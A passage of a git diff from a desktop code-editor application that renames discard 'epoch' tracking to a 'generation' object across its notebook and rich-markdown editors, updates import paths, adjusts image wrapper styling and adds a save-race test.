+    expect(parseIpynb(committed.at(-1)!).cells[0]?.source).toBe('a')
+    act(() => {
+      hook.result.current.updateCellSource(0, 'new draft')
+      flushPendingEditorBuffer(NO_SHARING, 'discard-notebook')
+    })
+    expect(parseIpynb(committed.at(-1)!).cells[0]?.source).toBe('new draft')
+  })
+
   it('does not republish unchanged text when flushed with no pending typing', () => {
     const onContentChange = vi.fn()
     const content = notebookContent()
diff --git a/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.ts b/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.ts
index 97f2e138b56..68a64fc32c2 100644
--- a/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.ts
+++ b/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.ts
@@ -1,3 +1,4 @@
+import type { EditorDiscardGeneration } from '../../save/flush/editor-discard-epoch'
 import {
   useCallback,
   useEffect,
@@ -10,7 +11,7 @@ import { registerPendingEditorFlush } from '../../save/flush/editor-pending-flus
 import {
   focusLeftView,
   notifyStaleViewEditRejected,
-  staleViewEditEpoch
+  captureViewEditGeneration
 } from '../../save/flush/editor-stale-view-edit'
 import {
   deleteIpynbCell,
@@ -84,7 +85,7 @@ export function useIpynbDocumentEditing({
   const sourceCommitTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
   // Why: each drafted cell's source when typing began; a draft onto a cell changed elsewhere is refused.
   const draftBasesRef = useRef<Record<string, IpynbSourceDraftBase>>({})
-  const draftEpochRef = useRef(0)
+  const draftGenerationRef = useRef<EditorDiscardGeneration | null>(null)
   const parsedContentRef = useRef(content)
   const structuralFrameIdsRef = useRef<number[]>([])
   useLayoutEffect(() => {
@@ -118,7 +119,7 @@ export function useIpynbDocumentEditing({
       return contentRef.current
     }
     const cells = latestCells() ?? []
-    const discarded = staleViewEditEpoch(fileId) !== draftEpochRef.current
+    const discarded = draftGenerationRef.current?.discarded === true
     const rebase = discarded
       ? { updates: [], dropped: Object.keys(drafts), lostTyping: false }
       : rebaseIpynbSourceDrafts(cells, drafts, draftBasesRef.current)
@@ -135,7 +136,7 @@ export function useIpynbDocumentEditing({
       sourceDraftsRef.current = nextDrafts
       setSourceDrafts(nextDrafts)
       if (rebase.lostTyping) {
-        notifyStaleViewEditRejected(fileId, draftEpochRef.current)
+        notifyStaleViewEditRejected(draftGenerationRef.current)
       }
     }
     draftBasesRef.current = nextBases
@@ -228,7 +229,7 @@ export function useIpynbDocumentEditing({
       }
       const key = getIpynbCellKey(cell, index)
       if (sourceCommitTimerRef.current === null) {
-        draftEpochRef.current = staleViewEditEpoch(fileId)
+        draftGenerationRef.current = captureViewEditGeneration(fileId)
       }
       if (!Object.hasOwn(draftBasesRef.current, key)) {
         draftBasesRef.current = {
diff --git a/src/renderer/src/components/editor/notebook/outputs/IpynbCellOutputs.tsx b/src/renderer/src/components/editor/notebook/outputs/IpynbCellOutputs.tsx
index 64854e84dc6..f4e8908f551 100644
--- a/src/renderer/src/components/editor/notebook/outputs/IpynbCellOutputs.tsx
+++ b/src/renderer/src/components/editor/notebook/outputs/IpynbCellOutputs.tsx
@@ -1,16 +1,17 @@
-import type { ITheme } from '@xterm/xterm'
 import { cn } from '@/lib/class-names'
-import '@/lib/terminal-theme'
-import { getTheme } from '@/lib/terminal-themes-data'
+import '@/lib/terminal/appearance/terminal-theme'
+import { getTheme } from '@/lib/terminal/appearance/terminal-themes-data'
 import {
   DEFAULT_TERMINAL_THEME_DARK,
   DEFAULT_TERMINAL_THEME_LIGHT
 } from '../../../../../../shared/terminal-themes/terminal-theme-selection'
 import { IpynbMarkdownCell } from '../cells/IpynbCellEditor'
 import { IpynbHtmlOutput } from './IpynbHtmlOutput'
-import { parseAnsiSegments, type AnsiColor } from './ipynb-ansi'
-import type { IpynbCell, IpynbOutput, IpynbOutputItem } from '../document/ipynb-parse'
+import { parseAnsiSegments } from './ipynb-ansi'
+import type { AnsiColor } from './ipynb-ansi'
 import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme'
+import type { ITheme } from '@xterm/xterm'
+import type { IpynbCell, IpynbOutput, IpynbOutputItem } from '../document/ipynb-parse'
 
 const ANSI_PALETTE_KEYS = [
   'black',
diff --git a/src/renderer/src/components/editor/open-editor-html-preview.test.ts b/src/renderer/src/components/editor/open-editor-html-preview.test.ts
index 63d543b1e44..752bf9141e6 100644
--- a/src/renderer/src/components/editor/open-editor-html-preview.test.ts
+++ b/src/renderer/src/components/editor/open-editor-html-preview.test.ts
@@ -1,5 +1,5 @@
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
 import {
   EDITOR_OWNER,
@@ -10,7 +10,7 @@ import {
   seedBrowserLinkTestStore,
   WORKSPACE
 } from '@/lib/browser/navigation/browser-link-open.test-fixture'
-import { beginLinkOpenRequest } from '@/lib/link-open-request'
+import { beginLinkOpenRequest } from '@/lib/links/link-open-request'
 import { registerEditorFrameFlush } from './save/flush/editor-pending-flush'
 import { openEditorHtmlPreview } from './open-editor-html-preview'
 
@@ -214,25 +214,6 @@ it('refuses a local preview when the file gains remote host evidence during its
   expect(useAppStore.getState().browserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
 })
 
-it.each(['refused', 'rejected'] as const)(
-  'keeps the editor selected when its guest flush is %s',
-  async (failure) => {
-    const unregister = registerEditorFrameFlush('report', () =>
-      failure === 'refused' ? Promise.resolve(false) : Promise.reject(new Error('flush failed'))
-    )
-    try {
-      await openEditorHtmlPreview('report', 'source')
-      const state = useAppStore.getState()
-      expect(state.browserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-      expect(
-        state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'a')?.activeTabId
-      ).toBe('source')
-    } finally {
-      unregister()
-    }
-  }
-)
-
 it('cancels preview when its editor tab closes but the file stays open in another tab', async () => {
   useAppStore.setState((state) => ({
     unifiedTabsByWorktree: {
diff --git a/src/renderer/src/components/editor/open-editor-html-preview.ts b/src/renderer/src/components/editor/open-editor-html-preview.ts
index 320351d3638..f846736d618 100644
--- a/src/renderer/src/components/editor/open-editor-html-preview.ts
+++ b/src/renderer/src/components/editor/open-editor-html-preview.ts
@@ -1,5 +1,5 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   editorViewPlacement,
   editorViewTab
@@ -8,8 +8,8 @@ import { openFileInBrowserTab } from '@/lib/browser/documents/file-preview'
 import { resolveFileBrowserLinkExecutionHostId } from '@/lib/browser/documents/file-preview-link-open'
 import { captureBrowserLinkReveal } from '@/lib/browser/navigation/browser-link-reveal'
 import { createBrowserLinkHostMatcher } from '@/lib/browser/navigation/browser-link-owner'
-import { beginLinkOpenRequest, subscribeLinkOpenRequests } from '@/lib/link-open-request'
-import { captureLinkOpenIntent } from '@/lib/link-open-intent'
+import { beginLinkOpenRequest, subscribeLinkOpenRequests } from '@/lib/links/link-open-request'
+import { captureLinkOpenIntent } from '@/lib/links/placement/link-open-intent'
 import { flushEditorFrames } from './save/flush/editor-pending-flush'
 
 export async function openEditorHtmlPreview(
diff --git a/src/renderer/src/components/editor/review-note-delivery/NotesSendMenu.tsx b/src/renderer/src/components/editor/review-note-delivery/NotesSendMenu.tsx
index 7b09978a250..dd416b17092 100644
--- a/src/renderer/src/components/editor/review-note-delivery/NotesSendMenu.tsx
+++ b/src/renderer/src/components/editor/review-note-delivery/NotesSendMenu.tsx
@@ -22,7 +22,7 @@ import {
   holdNotesForSend,
   isNoteInFlight,
   useNotesInFlightVersion
-} from '@/lib/notes-send-in-flight'
+} from '@/components/notes/delivery/notes-send-in-flight'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
 import { recomputeOn } from '@/lib/recompute-on'
diff --git a/src/renderer/src/components/editor/rich-markdown/document/useRichMarkdownPendingSerialization.ts b/src/renderer/src/components/editor/rich-markdown/document/useRichMarkdownPendingSerialization.ts
index 0b5b011be2e..eb154c8ddb7 100644
--- a/src/renderer/src/components/editor/rich-markdown/document/useRichMarkdownPendingSerialization.ts
+++ b/src/renderer/src/components/editor/rich-markdown/document/useRichMarkdownPendingSerialization.ts
@@ -1,3 +1,4 @@
+import type { EditorDiscardGeneration } from '../../save/flush/editor-discard-epoch'
 import {
   useCallback,
   useEffect,
@@ -8,7 +9,7 @@ import {
 } from 'react'
 import type { Editor } from '@tiptap/react'
 import { registerPendingEditorFlush } from '../../save/flush/editor-pending-flush'
-import { focusLeftView, staleViewEditEpoch } from '../../save/flush/editor-stale-view-edit'
+import { focusLeftView } from '../../save/flush/editor-stale-view-edit'
 import { commitRichMarkdownSerialization } from './rich-markdown-serialization-commit'
 
 type PendingSerializationParams = {
@@ -32,15 +33,15 @@ export function useRichMarkdownPendingSerialization({
   reconcileRoundTripRef
 }: PendingSerializationParams) {
   const serializeTimerRef = useRef<number | null>(null)
-  // Why: the discard epoch when the pending edit began; a Discard since then drops it silently.
-  const pendingEditEpochRef = useRef(0)
+  // Why: the discard generation when the pending edit began; a Discard since then drops it silently.
+  const pendingEditGenerationRef = useRef<EditorDiscardGeneration | null>(null)
   const flushPendingSerialization = useCallback((): boolean => {
     if (serializeTimerRef.current === null) {
       return false
     }
     window.clearTimeout(serializeTimerRef.current)
     serializeTimerRef.current = null
-    if (pendingEditEpochRef.current !== staleViewEditEpoch(fileId)) {
+    if (pendingEditGenerationRef.current?.discarded === true) {
       // Why: a Discard since typing began owns the text and dirty flag now.
       return true
     }
@@ -91,7 +92,7 @@ export function useRichMarkdownPendingSerialization({
 
   return {
     serializeTimerRef,
-    pendingEditEpochRef,
+    pendingEditGenerationRef,
     flushPendingSerialization,
     flushOnFocusLeave
   }
diff --git a/src/renderer/src/components/editor/rich-markdown/images/rich-markdown-image-insert.ts b/src/renderer/src/components/editor/rich-markdown/images/rich-markdown-image-insert.ts
index 78a965234d9..baa7c77cdfd 100644
--- a/src/renderer/src/components/editor/rich-markdown/images/rich-markdown-image-insert.ts
+++ b/src/renderer/src/components/editor/rich-markdown/images/rich-markdown-image-insert.ts
@@ -1,4 +1,3 @@
-import type { Editor } from '@tiptap/react'
 import { toast } from 'sonner'
 import { dirname, basename } from '@/lib/path'
 import { getConnectionId } from '@/lib/workspace/ownership/connection-context'
@@ -10,18 +9,19 @@ import {
 } from '@/lib/editor/file-operations/editor-file-operation-owner'
 import { editorTabDocumentFolderAccess } from '@/lib/files/access/local-file-access'
 import { requireRuntimeTargetForFileOwner } from '@/lib/files/access/file-owner-runtime-target'
-import { captureDirectSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
+import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
 import { translate } from '@/i18n/i18n'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { extractIpcErrorMessage } from './rich-markdown-ipc-error-message'
 import { buildRichMarkdownImageInsertContent } from './rich-markdown-image-insert-content'
 import { showRichMarkdownImageInsertionCanceled } from './rich-markdown-image-insertion-feedback'
-import type { RichMarkdownImageInsertionRange } from './rich-markdown-image-insertion-target'
 import { richMarkdownClipboardInsertionOrderKey } from '../clipboard/rich-markdown-clipboard-insertion-order'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { Editor } from '@tiptap/react'
+import type { RichMarkdownImageInsertionRange } from './rich-markdown-image-insertion-target'
 import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
 import type { LocalFileAccess } from '../../../../../../shared/file-access/local-file-access'
 
diff --git a/src/renderer/src/components/editor/rich-markdown/instance/RichMarkdownEditor.tsx b/src/renderer/src/components/editor/rich-markdown/instance/RichMarkdownEditor.tsx
index bb612b1978d..f1cf8b0f3b6 100644
--- a/src/renderer/src/components/editor/rich-markdown/instance/RichMarkdownEditor.tsx
+++ b/src/renderer/src/components/editor/rich-markdown/instance/RichMarkdownEditor.tsx
@@ -144,16 +144,20 @@ export default function RichMarkdownEditor({
     worktreeRoot
   })
 
-  const { serializeTimerRef, pendingEditEpochRef, flushPendingSerialization, flushOnFocusLeave } =
-    useRichMarkdownPendingSerialization({
-      fileId,
-      editorRef,
-      lastCommittedMarkdownRef,
-      originalSourceRef,
-      baseCanonicalRef,
-      onContentChangeRef,
-      reconcileRoundTripRef
-    })
+  const {
+    serializeTimerRef,
+    pendingEditGenerationRef,
+    flushPendingSerialization,
+    flushOnFocusLeave
+  } = useRichMarkdownPendingSerialization({
+    fileId,
+    editorRef,
+    lastCommittedMarkdownRef,
+    originalSourceRef,
+    baseCanonicalRef,
+    onContentChangeRef,
+    reconcileRoundTripRef
+  })
 
   const editor = useRichMarkdownEditorInstance({
     codec,
@@ -191,7 +195,7 @@ export default function RichMarkdownEditor({
     cancelAutoFocusRef,
     fileId,
     serializeTimerRef,
-    pendingEditEpochRef,
+    pendingEditGenerationRef,
     isInitializingRef,
     isApplyingProgrammaticUpdateRef,
     markdownCommentsRef: review.markdownCommentsRef,
@@ -279,7 +283,7 @@ export default function RichMarkdownEditor({
     rootRef,
     runtimeTarget,
     serializeTimerRef,
-    pendingEditEpochRef,
+    pendingEditGenerationRef,
     slashMenuSetter: menu.setSlashMenu,
     worktreeId,
     worktreeRoot
diff --git a/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.test.ts b/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.test.ts
index e305c9504b8..b8593e1e2f2 100644
--- a/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.test.ts
+++ b/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.test.ts
@@ -71,7 +71,7 @@ function createConfigParams(overrides: Partial<EditorConfigParams> = {}): Editor
     cancelAutoFocusRef: ref(null),
     fileId: 'file-a',
     serializeTimerRef: ref(null),
-    pendingEditEpochRef: ref(0),
+    pendingEditGenerationRef: ref({ discarded: false }),
     isInitializingRef: ref(false),
     isApplyingProgrammaticUpdateRef: ref(false),
     markdownCommentsRef: ref([]),
diff --git a/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.ts b/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.ts
index b3833891fc5..0c8b8898de8 100644
--- a/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.ts
+++ b/src/renderer/src/components/editor/rich-markdown/instance/rich-markdown-editor-config.ts
@@ -1,3 +1,4 @@
+import type { EditorDiscardGeneration } from '../../save/flush/editor-discard-epoch'
 import { handleRichMarkdownViewportReveal } from '../viewport/rich-markdown-viewport'
 import type { Editor, UseEditorOptions } from '@tiptap/react'
 import type { EditorView } from '@tiptap/pm/view'
@@ -24,7 +25,7 @@ import {
   type ActivateMarkdownLink
 } from '../links/rich-markdown-editor-click-routing'
 import { createRichMarkdownKeyHandler } from '../commands/rich-markdown-key-handler'
-import { staleViewEditEpoch } from '../../save/flush/editor-stale-view-edit'
+import { captureViewEditGeneration } from '../../save/flush/editor-stale-view-edit'
 import {
   createRichMarkdownImageResolverContext,
   setRichMarkdownImageResolverContext
@@ -77,8 +78,8 @@ export type EditorConfigParams = {
   cancelAutoFocusRef: MutableRefObject<(() => void) | null>
   fileId: string
   serializeTimerRef: MutableRefObject<number | null>
-  /** Discard epoch when the pending serialization began. */
-  pendingEditEpochRef: MutableRefObject<number>
+  /** Discard generation when the pending serialization began. */
+  pendingEditGenerationRef: MutableRefObject<EditorDiscardGeneration | null>
   isInitializingRef: MutableRefObject<boolean>
   isApplyingProgrammaticUpdateRef: MutableRefObject<boolean>
   markdownCommentsRef: MutableRefObject<DiffComment[]>
@@ -274,7 +275,7 @@ export function createRichMarkdownEditorConfig(params: EditorConfigParams): UseE
       if (serializeTimerRef.current !== null) {
         window.clearTimeout(serializeTimerRef.current)
       } else {
-        params.pendingEditEpochRef.current = staleViewEditEpoch(params.fileId)
+        params.pendingEditGenerationRef.current = captureViewEditGeneration(params.fileId)
       }
       serializeTimerRef.current = window.setTimeout(() => {
         params.flushPendingSerialization()
diff --git a/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.test.ts b/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.test.ts
index cd4c319527b..d497fd493b5 100644
--- a/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.test.ts
+++ b/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.test.ts
@@ -2,6 +2,7 @@
 import { describe, expect, it, vi } from 'vitest'
 import { renderHook } from '@testing-library/react'
 import { Editor } from '@tiptap/core'
+import { toast } from 'sonner'
 import { useRichMarkdownProgrammaticSync } from './useRichMarkdownProgrammaticSync'
 import { createRichMarkdownExtensions } from '../schema/rich-markdown-extensions'
 import {
@@ -13,11 +14,8 @@ import {
   type RichMarkdownHtmlSuperscriptLinkContext
 } from '../citations/rich-markdown-html-superscript-link-context'
 import { encodeRawMarkdownHtmlForRichEditor } from '../raw-source/raw-markdown-html'
-import { notifyStaleViewEditRejected } from '../../save/flush/editor-stale-view-edit'
-
-vi.mock('../../save/flush/editor-stale-view-edit', () => ({
-  notifyStaleViewEditRejected: vi.fn(),
-  staleViewEditEpoch: vi.fn(() => 0)
+vi.mock('sonner', () => ({
+  toast: { error: vi.fn() }
 }))
 
 function buildEditor(
@@ -39,7 +37,7 @@ function buildEditor(
 }
 
 describe('useRichMarkdownProgrammaticSync stale pending edit', () => {
-  function renderPane(paneText: string, pendingCommit: (() => void) | null) {
+  function renderPane(paneText: string, pendingCommit: boolean) {
     const codec = createRichMarkdownEditorCodec()
     const editor = buildEditor(
       codec,
@@ -54,10 +52,13 @@ describe('useRichMarkdownProgrammaticSync stale pending edit', () => {
     const lastCommittedMarkdownRef = { current: 'base' }
     const originalSourceRef = { current: 'base' }
     const baseCanonicalRef = { current: 'base' }
-    const pendingEditEpochRef = { current: 0 }
-    const onContentChangeRef = { current: vi.fn<(content: string) => void>() }
+    const pendingEditGenerationRef = { current: { discarded: false } }
+    const published: string[] = []
+    const onContentChangeRef = { current: (content: string) => published.push(content) }
     const serializeTimerRef = {
-      current: pendingCommit ? window.setTimeout(pendingCommit, 300) : null
+      current: pendingCommit
+        ? window.setTimeout(() => onContentChangeRef.current(paneText), 300)
+        : null
     }
     const hook = renderHook(
       ({ content }: { content: string }) =>
@@ -77,34 +78,30 @@ describe('useRichMarkdownProgrammaticSync stale pending edit', () => {
           rootRef: { current: null },
           runtimeTarget: { kind: 'local' },
           serializeTimerRef,
-          pendingEditEpochRef,
+          pendingEditGenerationRef,
           slashMenuSetter: vi.fn(),
           worktreeId: 'w1',
           worktreeRoot: null
         }),
       { initialProps: { content: 'base' } }
     )
-    return { editor, hook, serializeTimerRef, onContentChangeRef }
+    return { editor, hook, published }
   }
 
   it('rejects a split pane pending edit once the other pane replaced the shared text', () => {
     vi.useFakeTimers()
-    vi.mocked(notifyStaleViewEditRejected).mockClear()
-    const commitPaneB = vi.fn()
-    const { editor, hook, serializeTimerRef, onContentChangeRef } = renderPane(
-      'pane b',
-      commitPaneB
-    )
+    vi.mocked(toast.error).mockClear()
+    const { editor, hook, published } = renderPane('pane b', true)
     try {
       hook.rerender({ content: 'pane a' })
       vi.advanceTimersByTime(300)
 
-      expect(commitPaneB).not.toHaveBeenCalled()
-      expect(serializeTimerRef.current).toBeNull()
-      expect(notifyStaleViewEditRejected).toHaveBeenCalledExactlyOnceWith('f1', 0)
+      expect(toast.error).toHaveBeenCalledWith(expect.any(String), {
+        id: 'editor-stale-view-edit'
+      })
       expect(editor.getMarkdown()).toBe('pane a')
       // Republished so the dirty flag this pane's typing raised is recomputed.
-      expect(onContentChangeRef.current).toHaveBeenCalledWith('pane a')
+      expect(published).toEqual(['pane a'])
     } finally {
       editor.destroy()
       vi.useRealTimers()
@@ -147,7 +144,7 @@ describe('useRichMarkdownProgrammaticSync undo history', () => {
           rootRef: { current: null },
           runtimeTarget: { kind: 'local' },
           serializeTimerRef: { current: null },
-          pendingEditEpochRef: { current: 0 },
+          pendingEditGenerationRef: { current: { discarded: false } },
           slashMenuSetter: vi.fn(),
           worktreeId: 'w1',
           worktreeRoot: null
diff --git a/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.ts b/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.ts
index 209081bc07e..577202e69d9 100644
--- a/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.ts
+++ b/src/renderer/src/components/editor/rich-markdown/instance/useRichMarkdownProgrammaticSync.ts
@@ -1,3 +1,4 @@
+import type { EditorDiscardGeneration } from '../../save/flush/editor-discard-epoch'
 import { useEffect } from 'react'
 import type { Dispatch, MutableRefObject, SetStateAction } from 'react'
 import type { Editor } from '@tiptap/react'
@@ -13,10 +14,7 @@ import {
 } from '../images/rich-markdown-image-context'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type { RichMarkdownEditorCodec } from '../document/rich-markdown-source-transport'
-import {
-  notifyStaleViewEditRejected,
-  staleViewEditEpoch
-} from '../../save/flush/editor-stale-view-edit'
+import { notifyStaleViewEditRejected } from '../../save/flush/editor-stale-view-edit'
 
 type RichMarkdownProgrammaticSyncOptions = {
   codec: RichMarkdownEditorCodec
@@ -36,7 +34,7 @@ type RichMarkdownProgrammaticSyncOptions = {
   runtimeTarget: RuntimeClientTarget | null
   /** Pending debounced commit, based on the text this view last synced. */
   serializeTimerRef: MutableRefObject<number | null>
-  pendingEditEpochRef: MutableRefObject<number>
+  pendingEditGenerationRef: MutableRefObject<EditorDiscardGeneration | null>
   slashMenuSetter: Dispatch<SetStateAction<SlashMenuState | null>>
   worktreeId: string
   worktreeRoot: string | null
@@ -65,7 +63,7 @@ export function useRichMarkdownProgrammaticSync({
   rootRef,
   runtimeTarget,
   serializeTimerRef,
-  pendingEditEpochRef,
+  pendingEditGenerationRef,
   slashMenuSetter,
   worktreeId,
   worktreeRoot
@@ -117,8 +115,8 @@ export function useRichMarkdownProgrammaticSync({
     if (!editor) {
       return
     }
-    const editEpoch = pendingEditEpochRef.current
-    const discarded = staleViewEditEpoch(fileId) !== editEpoch
+    const editGeneration = pendingEditGenerationRef.current
+    const discarded = editGeneration?.discarded === true
     const pendingTimer = serializeTimerRef.current
     if (content === lastCommittedMarkdownRef.current && !(pendingTimer !== null && discarded)) {
       return
@@ -128,7 +126,7 @@ export function useRichMarkdownProgrammaticSync({
       window.clearTimeout(pendingTimer)
       serializeTimerRef.current = null
       if (!discarded && !matchesSharedText) {
-        notifyStaleViewEditRejected(fileId, editEpoch)
+        notifyStaleViewEditRejected(editGeneration)
       }
     }
     if (matchesSharedText) {
@@ -169,7 +167,7 @@ export function useRichMarkdownProgrammaticSync({
     isApplyingProgrammaticUpdateRef,
     lastCommittedMarkdownRef,
     onContentChangeRef,
-    pendingEditEpochRef,
+    pendingEditGenerationRef,
     originalSourceRef,
     baseCanonicalRef,
     rootRef,
diff --git a/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts b/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts
index 7878353d3d5..bf4e6a7d2bc 100644
--- a/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts
+++ b/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts
@@ -1,8 +1,4 @@
-import type { MutableRefObject } from 'react'
-import type { Editor } from '@tiptap/react'
-import type { EditorView } from '@tiptap/pm/view'
 import { toast } from 'sonner'
-import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
 import {
   httpLinkActionDestinationsFor,
   openRoutedHttpLink
@@ -17,7 +13,7 @@ import {
   isLocalPathOpenBlocked,
   showLocalPathOpenBlockedToast
 } from '@/lib/files/os-open/local-path-open-guard'
-import { getLinkSourceLocalOpenOwner } from '@/lib/link-source-local-open-owner'
+import { getLinkSourceLocalOpenOwner } from '@/lib/links/ownership/link-source-local-open-owner'
 import {
   absolutePathToFileUri as toFileUrlForOsEscape,
   resolveMarkdownLinkTarget
@@ -25,13 +21,15 @@ import {
 import { openMarkdownFileLinkWithSystemDefault } from '../../markdown/link-routing/markdown-file-link-system-open'
 import { scrollToAnchorInEditor } from '../../markdown/navigation/markdown-anchor-scroll'
 import { getRichMarkdownCommentAtPos } from '../review/rich-markdown-review-annotations'
-import type { DiffComment } from '../../../../../../shared/diff-comment-types'
 import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host'
 import { translate } from '@/i18n/i18n'
-import {
-  classifyHtmlSuperscriptLinkAction,
-  type RichMarkdownHtmlSuperscriptLinkContext
-} from '../citations/rich-markdown-html-superscript-link-context'
+import { classifyHtmlSuperscriptLinkAction } from '../citations/rich-markdown-html-superscript-link-context'
+import type { RichMarkdownHtmlSuperscriptLinkContext } from '../citations/rich-markdown-html-superscript-link-context'
+import type { MutableRefObject } from 'react'
+import type { Editor } from '@tiptap/react'
+import type { EditorView } from '@tiptap/pm/view'
+import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
+import type { DiffComment } from '../../../../../../shared/diff-comment-types'
 
 export type ActivateMarkdownLink = (
   href: string,
diff --git a/src/renderer/src/components/editor/rich-markdown/schema/rich-markdown-extensions.ts b/src/renderer/src/components/editor/rich-markdown/schema/rich-markdown-extensions.ts
index 6deada4d943..653b47c2f71 100644
--- a/src/renderer/src/components/editor/rich-markdown/schema/rich-markdown-extensions.ts
+++ b/src/renderer/src/components/editor/rich-markdown/schema/rich-markdown-extensions.ts
@@ -125,13 +125,15 @@ export function createRichMarkdownExtensions({
         return ({ node, HTMLAttributes, editor }) => {
           // A wrapper prevents native image-byte dragging from conflicting with ProseMirror’s schema-node relocation.
           const dom = document.createElement('span')
-          // Keep the image wrapper inline so it cannot break surrounding text onto separate lines.
-          dom.style.display = 'inline-block'
+          // Inline, not inline-block: a shrink-to-fit wrapper collapses an SVG that has a viewBox but no width to 0×0.
+          dom.style.display = 'inline'
           dom.style.lineHeight = '0'
-          dom.style.maxWidth = '100%'
 
           const img = document.createElement('img')
           img.draggable = false
+          // Undo preflight's block, middle-aligned images so text keeps flowing around them as before.
+          img.style.display = 'inline-block'
+          img.style.verticalAlign = 'baseline'
           let renderedAttributeNames = new Set<string>()
           const syncImageAttributes = (attributes: Record<string, unknown>): void => {
             const nextNames = new Set<string>()
diff --git a/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.save-race.test.ts b/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.save-race.test.ts
index b74dd8fd23d..5115e8936b1 100644
--- a/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.save-race.test.ts
+++ b/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.save-race.test.ts
@@ -26,12 +26,15 @@ vi.mock('@/lib/workspace/ownership/connection-context', () => ({
   getConnectionIdForFile: () => undefined
 }))
 // Hold the remote capability/status round trip before bytes are sent.
-const hostCheck = vi.hoisted((): { wait: Promise<void> | null } => ({ wait: null }))
+const hostCheck = vi.hoisted((): { wait: Promise<void> | null; arrived?: () => void } => ({
+  wait: null
+}))
 vi.mock('@/runtime/files/mutations/runtime-file-mutation-client', async (importOriginal) => {
   const actual = await importOriginal<typeof MutationClient>()
   return {
     ...actual,
     writeRuntimeFile: async (...args: Parameters<typeof actual.writeRuntimeFile>) => {
+      hostCheck.arrived?.()
       await hostCheck.wait
       return actual.writeRuntimeFile(...args)
     }
@@ -100,6 +103,7 @@ describe("Don't Save against running and queued saves", () => {
 
   afterEach(() => {
     hostCheck.wait = null
+    hostCheck.arrived = undefined
     detach()
     vi.useRealTimers()
     __clearSelfWriteRegistryForTests()
@@ -161,6 +165,35 @@ describe("Don't Save against running and queued saves", () => {
     expect(written()).toEqual(['a'])
   })
 
+  it('never sends a stale Overwrite after discard and reopening the same file', async () => {
+    const waiting = gate()
+    const arrived = gate()
+    hostCheck.wait = waiting.wait
+    hostCheck.arrived = arrived.open
+    edit('discarded draft')
+    const saving = requestEditorFileSave({ fileId: PATH, overwrite: true })
+    await vi.advanceTimersByTimeAsync(0)
+    await arrived.wait
+    const discarding = discardEditorBuffer(PATH)
+    store.getState().closeFile(PATH)
+    store.getState().openFile({
+      filePath: PATH,
+      relativePath: 'a.ts',
+      worktreeId: 'wt-1',
+      language: 'typescript',
+      mode: 'edit'
+    })
+    withLoadedBaselines(store, createFakeEditorDisk({ [PATH]: '' }))
+    edit('new draft')
+    hostCheck.wait = null
+    waiting.open()
+    const [, release] = await Promise.all([saving, discarding])
+    release()
+    expect(disk.files.get(PATH)).toBe('')
+    await requestEditorFileSave({ fileId: PATH })
+    expect(disk.files.get(PATH)).toBe('new draft')
+  })
+
   it('a save asked for after the discard still writes', async () => {
     edit('a')
     const release = await discardEditorBuffer(PATH)
diff --git a/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.ts b/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.ts
index 01258099529..d225765cdc1 100644
--- a/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.ts
+++ b/src/renderer/src/components/editor/save/flush/discard-editor-file-changes.ts
@@ -1,9 +1,10 @@
 import { useAppStore } from '@/store/index'
 import {
   editorBufferIdOfView,
+  editorBufferSiblingViewIds,
   isLastEditorBufferView
 } from '@/store/slices/editor/buffers/editor-buffer-views'
-import { bumpEditorDiscardEpoch } from './editor-discard-epoch'
+import { discardEditorGenerations } from './editor-discard-epoch'
 import { requestEditorSaveQuiesce } from '../../autosave/editor-autosave'
